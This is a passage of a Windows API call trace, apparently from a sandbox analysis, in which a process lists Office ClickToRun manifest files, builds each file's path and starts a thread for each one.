	[0086.986] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1
	[0086.986] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.986] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4779160
	[0086.986] wcscpy (in: _Dest=0x4779160, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.986] wcscat (in: _Dest=0x4779160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.986] wcscat (in: _Dest=0x4779160, _Source="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml"
	[0086.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38
	[0086.986] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1
	[0086.986] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.986] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x47687f8
	[0086.987] wcscpy (in: _Dest=0x47687f8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.987] wcscat (in: _Dest=0x47687f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.987] wcscat (in: _Dest=0x47687f8, _Source="C2RManifest.lyncmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml"
	[0086.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47687f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c
	[0086.987] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1
	[0086.987] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.987] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec068
	[0086.987] wcscpy (in: _Dest=0x47ec068, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.987] wcscat (in: _Dest=0x47ec068, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.987] wcscat (in: _Dest=0x47ec068, _Source="C2RManifest.office32mui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml"
	[0086.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40
	[0086.988] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1
	[0086.988] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml", _String2=".") returned 1
	[0086.988] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml", _String2="..") returned 1
	[0086.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ea808
	[0086.988] wcscpy (in: _Dest=0x47ea808, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.988] wcscat (in: _Dest=0x47ea808, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.988] wcscat (in: _Dest=0x47ea808, _Source="C2RManifest.office32ww.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml"
	[0086.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44
	[0086.989] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1
	[0086.989] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.989] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb258
	[0086.989] wcscpy (in: _Dest=0x47eb258, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.989] wcscat (in: _Dest=0x47eb258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.989] wcscat (in: _Dest=0x47eb258, _Source="C2RManifest.officemui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml"
	[0086.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48
	[0086.990] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1
	[0086.990] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml", _String2=".") returned 1
	[0086.990] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml", _String2="..") returned 1
	[0086.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4752ff0
	[0086.990] wcscpy (in: _Dest=0x4752ff0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.990] wcscat (in: _Dest=0x4752ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.990] wcscat (in: _Dest=0x4752ff0, _Source="C2RManifest.officemuiset.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml"
	[0086.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c
	[0086.990] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1
	[0086.990] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.990] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481d2b8
	[0086.990] wcscpy (in: _Dest=0x481d2b8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.991] wcscat (in: _Dest=0x481d2b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.991] wcscat (in: _Dest=0x481d2b8, _Source="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml"
	[0086.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50
	[0086.991] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1
	[0086.991] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.991] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea8f8
	[0086.991] wcscpy (in: _Dest=0x47ea8f8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.991] wcscat (in: _Dest=0x47ea8f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.991] wcscat (in: _Dest=0x47ea8f8, _Source="C2RManifest.onenotemui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml"
	[0086.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54
	[0086.992] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1
	[0086.992] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.992] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752548
	[0086.992] wcscpy (in: _Dest=0x4752548, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.992] wcscat (in: _Dest=0x4752548, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.992] wcscat (in: _Dest=0x4752548, _Source="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml"
	[0086.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58
	[0086.993] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1
	[0086.993] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.993] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0086.993] wcscpy (in: _Dest=0x4768628, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.993] wcscat (in: _Dest=0x4768628, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.993] wcscat (in: _Dest=0x4768628, _Source="C2RManifest.osmmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml"
	[0086.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c
	[0086.994] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1
	[0086.994] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.994] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778c60
	[0086.994] wcscpy (in: _Dest=0x4778c60, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.994] wcscat (in: _Dest=0x4778c60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.994] wcscat (in: _Dest=0x4778c60, _Source="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml"
	[0086.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60
	[0086.994] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1
	[0086.994] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.994] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec248
	[0086.994] wcscpy (in: _Dest=0x47ec248, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.994] wcscat (in: _Dest=0x47ec248, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.994] wcscat (in: _Dest=0x47ec248, _Source="C2RManifest.osmuxmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml"
	[0086.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a64
